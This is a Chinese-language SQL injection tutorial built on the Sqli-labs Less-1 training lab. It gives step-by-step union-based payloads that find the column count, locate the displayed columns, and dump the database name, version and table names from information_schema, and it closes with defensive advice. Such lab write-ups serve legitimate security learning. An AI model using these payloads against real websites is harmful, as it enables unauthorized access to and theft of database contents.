SQL注入漏洞
1.漏洞产生原理
用户提交的数据没有被服务器进行检测和过滤,被数据库直接当作sql语句的一部分执行,就造成了sql注入。
2.如何查找sql注入呢?
一般是根据网站的功能点是否和数据库产生数据交互来判断的,如果产生了数据交互就可能存在sql注入.
3.靶场案例讲解
在这里给大家推荐:http://114.116.45.110/里面有各种靶场,不想自己搭建的小伙伴可以使用一下。
这里使用Sqli-labs靶场Less-1(第一关)讲解,Sqli-labs是一个帮你总结大部分SQL注入漏洞类型的靶场,学习SQL注入漏洞原理,复现SQL注入漏洞的必备靶场环境,给我整!
1.根据提示输入id为参数,所以我们输入?id=1
通过id数字值不同返回的内容也不同,所以我们输入的内容是带入到了数据库里面查询的。
id=1
id=2
2.存在注入点判断
加上单引号报错 :http://114.116.45.110/sqli-labs/Less-1/?id=1′
加上注释符页面正常:–+为注释符
3.根据上述结果确定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。
1.首先判断字段数(使用order by)
输入id=1′ order by 1,2,3–+ 页面显示正常,输入id=1′ order by 1,2,3,4–+页面显示报错,说明字段数为3
2.爆出显示位,就是看看表格里面那一列是在页面显示的。
输入id=-1′ union select 1,2,3–+,可以看到是第二列和第三列里面的数据是显示在页面的
4.接下来就是最重要的一步了,爆出数据库信息
将显示位替换成我们要查询的数据库信息函数,这里我们要查询数据库名称database()和数据库版本version().
所以输入id=-1' union select 1,database(),version()--+
就爆出了数据库名称:security 数据库版本:5.6.50-log
在输入id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+就可以查看security数据库下的所有表名
5.危害
未经授权的情况下操作数据库中的数据。攻击者通过构造不同的sql语句来实现对数据库的任意操作。
6.防护
控制用户的权限,禁止普通用户的数据库建立、删除、修改等权限。
对用户输入进行检查,确保数据输入的安全性,在具体检查输入或提交的变量时,对于单引号、双引号、冒号等字符进行转换或者过滤。
注:以上属于sql注入中的get类型字符型注入。手工注入是很少用到的,通常都是使用各种工具,使用Burp和Xray联动扫描出漏洞,然后根据漏洞详情使用sqlmap工具进行深入利用
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。